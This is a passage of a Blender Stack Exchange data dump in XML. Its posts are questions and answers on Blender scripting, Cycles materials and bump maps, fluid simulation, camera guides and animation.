nth)&#xA;phi = np.linspace(-np.pi, np.pi, nph)&#xA;y3 = np.sin(th) - 1.8*np.sin(th)**3&#xA;X = np.cos(phi)[None,:] * np.cos(th)[:,None]&#xA;Y = np.sin(phi)[None,:] * np.cos(th)[:,None]&#xA;Z = np.zeros_like(X)            + y3[:,None]&#xA;&#xA;verts = [tuple(thing) for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;faces = []&#xA;for ith in range(nth-1):&#xA;    for iph in range(nph-1):&#xA;        v1 = nph*ith + iph&#xA;        v2 = v1 + 1&#xA;        v3 = v2 + nph&#xA;        v4 = v3 - 1&#xA;        faces.append((v1, v2, v3, v4))&#xA;&#xA;purple = bpy.data.materials.new(&quot;transPurple&quot;)&#xA;purple.diffuse_color = (1.0, 0.0, 0.67)&#xA;purple.alpha = 0.2&#xA;purple.use_transparency = True&#xA;&#xA;me = bpy.data.meshes.new('wow')&#xA;ob = bpy.data.objects.new('wow', me)&#xA;&#xA;ob.location = (0.0, 0.0, 2.0) &#xA;bpy.context.scene.objects.link(ob)&#xA;me.from_pydata(verts,[],faces)&#xA;ob.active_material = purple&#xA;ob.show_transparent = True&#xA;bpy.data.objects['wow'].select = False&#xA;bpy.data.objects['wow'].select = True&#xA;bpy.ops.object.shade_smooth()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="47" LastEditDate="2015-06-09T18:01:23.083" LastActivityDate="2015-06-10T09:27:56.530" Title="Render semi-transparent self-intersecting surface in cycles" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32154" PostTypeId="2" ParentId="32150" CreationDate="2015-06-09T14:03:52.793" Score="9" Body="&lt;p&gt;There may be a more elegant solution, but i believe this process gives you the result you are seeking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the mesh vertices you are interested in.&lt;br&gt;&#xA;Invert your selection (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt;).&lt;br&gt;&#xA;Unhide the hidden mesh components (&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;H&lt;/kbd&gt;).&lt;br&gt;&#xA;Invert your selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;I&lt;/kbd&gt; again.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastEditorUserId="1245" LastEditDate="2015-06-09T14:53:52.627" LastActivityDate="2015-06-09T14:53:52.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32155" PostTypeId="1" AcceptedAnswerId="32157" CreationDate="2015-06-09T14:49:11.533" Score="2" ViewCount="1260" Body="&lt;p&gt;If i add a single  texture as a Displacement texture on Cycles, how can i modify? i had been trying with Mix but i don't get the right number, or maybe is the wrong option?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qrBCJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-06-10T09:38:56.393" Title="How can i modify a Displacement texture roughness?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32157" PostTypeId="2" ParentId="32155" CreationDate="2015-06-09T15:27:40.623" Score="2" Body="&lt;p&gt;Displacement expects a number, not a color. You can see that because the displacement's input is grey whereas a color-value is marked as yellow in the Node Tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you normally convert the color to a value via a &lt;code&gt;RBG to BW&lt;/code&gt; Node. You then can use &lt;code&gt;Math&lt;/code&gt; nodes to freely manipulate the value until it fits your needs. In your case I would use a Multiply and then play with the factor a bit until satisfied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/34hwM.png&quot; alt=&quot;Example Node Tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used a Voronoi Texture as a stand-in for whatever texture you want to use, so you can just swap that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I've heard that this conversion is done automatically when you connect a color-output to an value-input. Apparently this won't lead to any problems, so you can leave out the &lt;code&gt;RGB to BW&lt;/code&gt; node and just connect the color output to the Math input (thanks @TARDIS Maker).&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2015-06-10T09:38:56.393" LastActivityDate="2015-06-10T09:38:56.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32158" PostTypeId="1" CreationDate="2015-06-09T15:53:16.427" Score="1" ViewCount="160" Body="&lt;p&gt;Is there a way either when copying a scene or even and easy way after, to update the &quot;transform object&quot; of a driver? I've noticed that even if creating a new scene as &quot;full copy&quot; that although all the objects and meshes are properly duplicated, that the driver object of the newly created key is still set to the original driver object. I know I can simply change it in the graph editor, but in some cases scenes can have many meshes with many keys and this becomes quite tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See in this outliner image, I've duplicated the scene with &quot;Full Copy&quot; and although all my objects are now single user, both keys are using the same Driver Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UHvq.png&quot; alt=&quot;driver object in outliner&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kjQYQ.png&quot; alt=&quot;driver object in graph&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14521" LastActivityDate="2018-08-15T08:01:25.380" Title="Copy driver transform object when creating new scene" Tags="&lt;drivers&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32160" PostTypeId="1" CreationDate="2015-06-09T16:21:46.137" Score="0" ViewCount="58" Body="&lt;p&gt;I'been trying to make a kind of replica of the planet Ceres, but it lacks the 'bump', the bad thing is, the image takes all the object, so the parts that i need with bump (the holes, for example) appear, alongside everything else, and the texture itself doesn't work well at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As you can see on the picture, i have a reference, but i want to get that kind of displacement/bump.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUNY3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In other hand, as i said, if i add the same image as bump, the result get worse..&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OIz29.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any solution for this? what do i need in my Nodes?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-06-09T16:30:56.213" LastActivityDate="2015-06-09T16:30:56.213" Title="How can i make a Bump/setoff accurate to its own texture map?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32161" PostTypeId="2" ParentId="32155" CreationDate="2015-06-09T16:31:22.623" Score="2" Body="&lt;p&gt;You can &lt;em&gt;use the same image texture as a &lt;strong&gt;color and bump maps&lt;/em&gt;&lt;/strong&gt; at the same time. I'll show you how it works using the image below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TnFvt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the nodes as pictured below. Add a RGB to B&amp;amp;W node (&lt;em&gt;Add--&gt;Converter--&gt;RGB to B&amp;amp;W&lt;/em&gt;). It will turn your color texture to a B&amp;amp;W so you may use it for bumps. To control the bumpiness size just add a &lt;em&gt;Mix RGB&lt;/em&gt; node, set its type to &lt;strong&gt;&lt;em&gt;Multiply&lt;/em&gt;&lt;/strong&gt; and the color to white (if you're using a lower socket) or black (if you're using a upper socket). Change the &lt;em&gt;Factor&lt;/em&gt; to control the bump size.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XrpTp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UnRFM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kDDMJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of adding the &lt;em&gt;Mix RGB&lt;/em&gt; node you may add a &lt;strong&gt;&lt;em&gt;Math node&lt;/em&gt;&lt;/strong&gt; (Add--&gt;Converter--&gt;Math). Set its type to &lt;strong&gt;&lt;em&gt;Multiply&lt;/em&gt;&lt;/strong&gt; as well and play with the &lt;em&gt;Value&lt;/em&gt; slider.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cKu9i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pc2CK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the other way. Add a &lt;strong&gt;&lt;em&gt;Bump&lt;/em&gt;&lt;/strong&gt; node (&lt;em&gt;Add--&gt;Vector--&gt;Bump&lt;/em&gt;) and set it up as pictured below. Increase the &lt;em&gt;Strenght&lt;/em&gt; to make the bumpiness bigger.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cQr6C.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-06-09T16:49:12.723" LastActivityDate="2015-06-09T16:49:12.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32162" PostTypeId="2" ParentId="32153" CreationDate="2015-06-09T16:50:05.050" Score="2" Body="&lt;p&gt;two useful functions &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;import bpy&#xA;&#xA;def set_smooth(ob):&#xA;    mesh = ob.data&#xA;    smooth_states = [True] * len(mesh.polygons)&#xA;    mesh.polygons.foreach_set('use_smooth', smooth_states)&#xA;    mesh.update()&#xA;&#xA;def remove_doubles(ob, d=0.00001):&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(ob.data)&#xA;    bmesh.ops.remove_doubles(bm, verts=bm.verts[:], dist=d)&#xA;    bm.to_mesh(ob.data)&#xA;    bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those two functions aren't really meant for real-time stuff, but neither is &lt;code&gt;bpy.ops&lt;/code&gt; stuff. They can however be integrated in a key-framed and rendered animation, no problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;import bpy&#xA;import numpy as np&#xA;&#xA;# set_smooth() and remove_doubles() are declared elsewhere&#xA;&#xA;nth, nph = 101, 200&#xA;th  = np.linspace(-0.5*np.pi, 0.5*np.pi, nth)&#xA;phi = np.linspace(-np.pi, np.pi, nph)&#xA;y3 = np.sin(th) - 1.8*np.sin(th)**3&#xA;X = np.cos(phi)[None,:] * np.cos(th)[:,None]&#xA;Y = np.sin(phi)[None,:] * np.cos(th)[:,None]&#xA;Z = np.zeros_like(X)            + y3[:,None]&#xA;&#xA;verts = [tuple(thing) for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;faces = []&#xA;for ith in range(nth-1):&#xA;    for iph in range(nph-1):&#xA;        v1 = nph*ith + iph&#xA;        v2 = v1 + 1&#xA;        v3 = v2 + nph&#xA;        v4 = v3 - 1&#xA;        faces.append((v1, v2, v3, v4))&#xA;&#xA;me = bpy.data.meshes.new('wow')&#xA;me.from_pydata(verts,[],faces)&#xA;ob = bpy.data.objects.new('wow', me)&#xA;ob.location = (0.0, 0.0, 2.0) &#xA;bpy.context.scene.objects.link(ob)&#xA;set_smooth(ob)&#xA;remove_doubles(ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;setting up a cycles material via script is a little bit involved, and you might ask yourself, how much of this should I be doing via script or manually setting up the material and only adjust certain parameters via script at render time..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;scene.render.engine = 'CYCLES'&#xA;&#xA;my_mat = bpy.data.materials.new('cool_mat')&#xA;my_mat.use_nodes = True&#xA;nodes = my_mat.node_tree.nodes&#xA;&#xA;# material output and diffuse nodes are present already, get them by name&#xA;mat_output = nodes.get(&quot;Material Output&quot;)&#xA;diffuse = nodes.get(&quot;Diffuse BSDF&quot;) # new(type='ShaderNodeBsdfDiffuse')&#xA;# mix and transparent are added by the script&#xA;mix = nodes.new(type='ShaderNodeMixShader')&#xA;transp = nodes.new(type='ShaderNodeBsdfTransparent')&#xA;&#xA;mat_output.location = 300, 0&#xA;mix.location = 0, 0&#xA;diffuse.location = -200, 50&#xA;transp.location = -200, -100&#xA;&#xA;''' hook up shaders '''&#xA;&#xA;# link mix_shader to material output&#xA;a = mix.outputs['Shader']&#xA;b = mat_output.inputs['Surface']&#xA;my_mat.node_tree.links.new(a, b)&#xA;&#xA;# link diffuse to mix&#xA;a = diffuse.outputs['BSDF']&#xA;b = mix.inputs[1]  # 'Shader' is used twice, so you access via index.&#xA;my_mat.node_tree.links.new(a, b)&#xA;&#xA;# link transparent to mix&#xA;a = transp.outputs['BSDF']&#xA;b = mix.inputs[2]&#xA;my_mat.node_tree.links.new(a, b)&#xA;&#xA;''' small shader adjustments and mixing '''&#xA;&#xA;mix.inputs[0].default_value = 0.8  # factor&#xA;diffuse.inputs['Color'].default_value = [0.8, 0.0, 0.191713, 1.0]&#xA;transp.inputs['Color'].default_value = [1.0, 0.152801, 0.582658, 1.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which combined, gives something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKesw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect a node setup like this might be a little more interesting: (note: I have ambient occlusion on!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7rhp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to make the color or factor a function of the cross product between surface normal and the up vector &lt;code&gt;(0,0,z)&lt;/code&gt;. Using the nodes allows you to embrace vector mathematics for the adjustment of the &lt;em&gt;shader&lt;/em&gt; at local points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or taking the viewing angle into account too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oyi2P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And notice there is a backfacing output on the Geometry node, worth exploring&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-10T09:27:56.530" LastActivityDate="2015-06-10T09:27:56.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32163" PostTypeId="2" ParentId="32073" CreationDate="2015-06-09T17:00:20.933" Score="0" Body="&lt;p&gt;I've been testing this file, and there seems to be more than one problem with the mesh and the armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to bind the mesh to a single bone with automatic weights, but haven't been able to find a step by step process to get your mesh bound to the current armature as of yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the issues with the mesh are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;poor topology including a lot of pinching &lt;/li&gt;&#xA;&lt;li&gt;many doubled vertices&lt;/li&gt;&#xA;&lt;li&gt;too many vertices, should have a simpler base mesh with a subdiv modifier instead&lt;/li&gt;&#xA;&lt;li&gt;the face has a lot of separate small pieces &lt;/li&gt;&#xA;&lt;li&gt;there's no root bone&lt;/li&gt;&#xA;&lt;li&gt;the bone sizes don't match the arm/leg sizes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you redo the armature, it's important that the first bone (hip or root) shares the same origin point as the mesh. If I figure out an exact fix I'll let you know.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-09T19:53:01.967" LastActivityDate="2015-06-09T19:53:01.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32164" PostTypeId="2" ParentId="32132" CreationDate="2015-06-09T18:11:40.570" Score="3" Body="&lt;p&gt;There are several issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The scene is upside down. The &lt;em&gt;Z&lt;/em&gt; axis (blue) always points up in world space. In the file provided, the view is upside down and the blue arrow appears to be pointing down. When righted, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnCFQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your scene the the fluid emitter is actually &lt;em&gt;below&lt;/em&gt; the domain and collision objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fluid domain is &lt;em&gt;always&lt;/em&gt; a box shape, as it uses the object's &lt;a href=&quot;https://blender.stackexchange.com/q/3366/599&quot;&gt;&lt;em&gt;bounding box&lt;/em&gt;&lt;/a&gt;. When assigned to a non-box shape, this means that it will be a cuboid with the same dimensions as the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you replace the icosphere with a cube, the reasons for the odd behavior become clearer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXNWd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sup&gt;Note that I duplicated the domain object in this screenshot so that the domain bounds would be visible at the same time as the fluid&lt;/sup&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The collision planes are &lt;a href=&quot;https://blender.stackexchange.com/q/7910/599&quot;&gt;non-manifold&lt;/a&gt;. The fluid simulator has no way of determining where the insides and outsides of the 2D planes are, so it will guess, usually resulting in strange behavior.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/q/7679/599&quot;&gt;Fluid not filling container completely&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the fluid emitter object is moved above the collision objects and the collision objects are given volume and correctly oriented normals, then it appears to work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WyJcR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-06-09T18:11:40.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32165" PostTypeId="1" CreationDate="2015-06-09T18:27:18.807" Score="1" ViewCount="430" Body="&lt;p&gt;Even with setting my sampling numbers pretty high (256 diffuse and glossy samples times 16 render passes with branched path tracing) I'm still getting the very hot pixels.   I read that this is caused by out-of-range sample values which the render engine never really blends in with other render passes,  almost like the pixel has NaN (Not a Number) as a value.  Or maybe it's more like a pixel has a value of 400, and no matter how many passes you average it with, it's still going to be really hot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that an engine should be able to filter out these extreme values, (like a median filter?) but on the other hand I hate doing something like clamping my render values because I need to keep the engine non-biased.  (this will eventually be for a research project and it's vital that it be good math and a non-biased render engine.  So maybe I'll need to purchase a very good non-biased engine.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct that any method for removing outliers would then make it a biased render engine?  Biased or not, numeric accuracy in the final image is the goal, so maybe even if it is technically biased with outlier removal, it might still be more accurate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for techniques, such as &quot;just blur it in Photoshop&quot; but more theory of the rendering engine.    Thanks very much for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=== Update:  I've found that the bright blue noise (from my emitter sky dome?) comes strictly from the Subsurface Indirect channel.  I'll have to read up on subsurface scattering to make sure I'm not doing something stupid, but as strongly as this noise comes through, it makes me wonder if it's a bug in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="14888" LastEditorUserId="14888" LastEditDate="2015-06-09T19:42:15.200" LastActivityDate="2015-06-09T19:42:15.200" Title="Cycles outlier removal for hot pixels - would that make it &quot;biased&quot;?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;noise-reduction&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32166" PostTypeId="1" AcceptedAnswerId="32206" CreationDate="2015-06-09T18:33:02.223" Score="13" ViewCount="18749" Body="&lt;p&gt;I recently saw Andrew Price's tutorial on how to do realistic texturing.  At the end of the tutorial he said something along  the lines of needing to just &quot;add scratches&quot; to increase the realism.  How do you simply add scratches?  I understand that there are probably multiple methods, and I am interested in hearing as many as possible.  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-10T10:08:38.550" Title="Adding surface scratches" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="10" ClosedDate="2015-06-10T15:13:34.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="32167" PostTypeId="2" ParentId="32166" CreationDate="2015-06-09T18:45:46.620" Score="14" Body="&lt;p&gt;I would just find an appropriate image texture of scratch marks, and then use that as a factor in mixing your diffuse and glossy shaders. You could also use the same texture as a subtle bump map factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screenshot below, I'm combining the scratch texture with a fresnel effect before using that output as a mix factor between the diffuse and glossy shader nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find lots of scratch textures at &lt;a href=&quot;http://www.cgtextures.com&quot;&gt;http://www.cgtextures.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qLTbI.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qLTbI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-09T19:11:34.440" LastActivityDate="2015-06-09T19:11:34.440" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32170" PostTypeId="2" ParentId="32158" CreationDate="2015-06-09T19:20:45.740" Score="1" Body="&lt;p&gt;I would submit that as a bug. I would expect a new driver if I did a full scene copy, and not have a Scene 1 object still driving a Scene 2 target.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-09T19:20:45.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32171" PostTypeId="1" AcceptedAnswerId="32172" CreationDate="2015-06-09T19:30:52.033" Score="1" ViewCount="154" Body="&lt;p&gt;Is there any kind of 'point' of 'target' in order to center things shown in the camera view, like adding a little box in the middle of the view so i can adjust the scene?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="599" LastEditDate="2015-06-09T19:50:36.237" LastActivityDate="2015-06-10T01:29:31.267" Title="Is there any kind of 'point' of 'target' in order to center things shown in the camera view?" Tags="&lt;interface&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32172" PostTypeId="2" ParentId="32171" CreationDate="2015-06-09T19:46:31.750" Score="4" Body="&lt;p&gt;You can enable the &lt;em&gt;center&lt;/em&gt; guide in the &lt;em&gt;Properties &gt; camera settings &gt; Composition Guides&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xWam9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to look at &lt;em&gt;&lt;a href=&quot;http://blender.org/manual/render/camera/safe_areas.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;safe areas&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEak4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-09T19:46:31.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32173" PostTypeId="1" CreationDate="2015-06-09T19:49:32.143" Score="1" ViewCount="611" Body="&lt;p&gt;I added a subdiv modifier, but some parts of my mesh still look bad; in the preview, however, it looks a lot better. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D0NFw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3078" LastEditDate="2015-06-09T21:20:40.513" LastActivityDate="2015-06-09T21:20:40.513" Title="Why do my objects still look blocky even after adding a subdiv modifier?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-06-09T21:09:20.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="32174" PostTypeId="2" ParentId="32171" CreationDate="2015-06-09T19:51:43.750" Score="1" Body="&lt;p&gt;You can add a track to constraint to the camera. This will control where the camera is looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add one, select the camera, and then the object you want to be the target (I recommend an empty), and press &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;T&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your cameras rotation should then snap to the empty.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-06-10T01:29:31.267" LastActivityDate="2015-06-10T01:29:31.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32176" PostTypeId="1" CreationDate="2015-06-09T20:10:37.700" Score="1" ViewCount="285" Body="&lt;p&gt;I would like to create a video that will be used in place of a usual powerpoint presentation. For this I need that the video automatically stops a some predefined points or that some regions are looped until I press &quot;play&quot; on the player. &#xA;With the DVD format this can be done in a very contrived way (correct me if I'm wrong).&#xA;Is there a way to produce those videos with Blender? Are there other formats that support these features?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="14890" LastActivityDate="2015-06-10T00:34:29.280" Title="Create videos with loops and breaks" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32177" PostTypeId="2" ParentId="32176" CreationDate="2015-06-09T20:16:57.590" Score="1" Body="&lt;p&gt;No, Blender's VSE can only output a single linear video file. Any stop points, or looped sections would need to be provided during playback with the whatever player or app is consuming the video file.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-09T20:16:57.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32178" PostTypeId="1" CreationDate="2015-06-09T21:01:34.807" Score="2" ViewCount="134" Body="&lt;p&gt;First of all, I don't even know where the keyframes go when I press &lt;code&gt;I&lt;/code&gt; over the material. I assumed it was on the current selected animation, but when I play it, the color does not change. Does anyone know what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="3078" LastEditDate="2015-06-09T21:12:59.787" LastActivityDate="2019-09-23T07:02:20.617" Title="Why are material animations not responding?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32179" PostTypeId="1" AcceptedAnswerId="32636" CreationDate="2015-06-09T21:19:27.023" Score="2" ViewCount="1359" Body="&lt;p&gt;Downloaded a simple character from &lt;a href=&quot;http://www.blendswap.com/blends/view/54875&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/54875&lt;/a&gt; to play with animations, moved it a little bit, but when opened the graph editor to tweak the animation I've got something scary. Axes are completely wrong and do not correspond to the world directions. Tried to recalculate the roll and everything else but it just stays all wrong. Actually I've already made a question about it but I think there was some misunderstanding because the answer that I've got (or rather understood it like this) was something like &quot;the graph editor edits values in the local space so cope with it&quot;, but then I've found this &lt;a href=&quot;http://www.cgmasters.net/free-tutorials/animator-tutorial-series-01-landing/&quot; rel=&quot;nofollow&quot;&gt;http://www.cgmasters.net/free-tutorials/animator-tutorial-series-01-landing/&lt;/a&gt; tutorial with samples and it works perfectly well, no matter how much I'm rotating the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the problem in the first model and how to fix it? &lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-06-18T10:09:15.517" Title="How to fix wrong bone axes to edit the animation in the graph editor?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
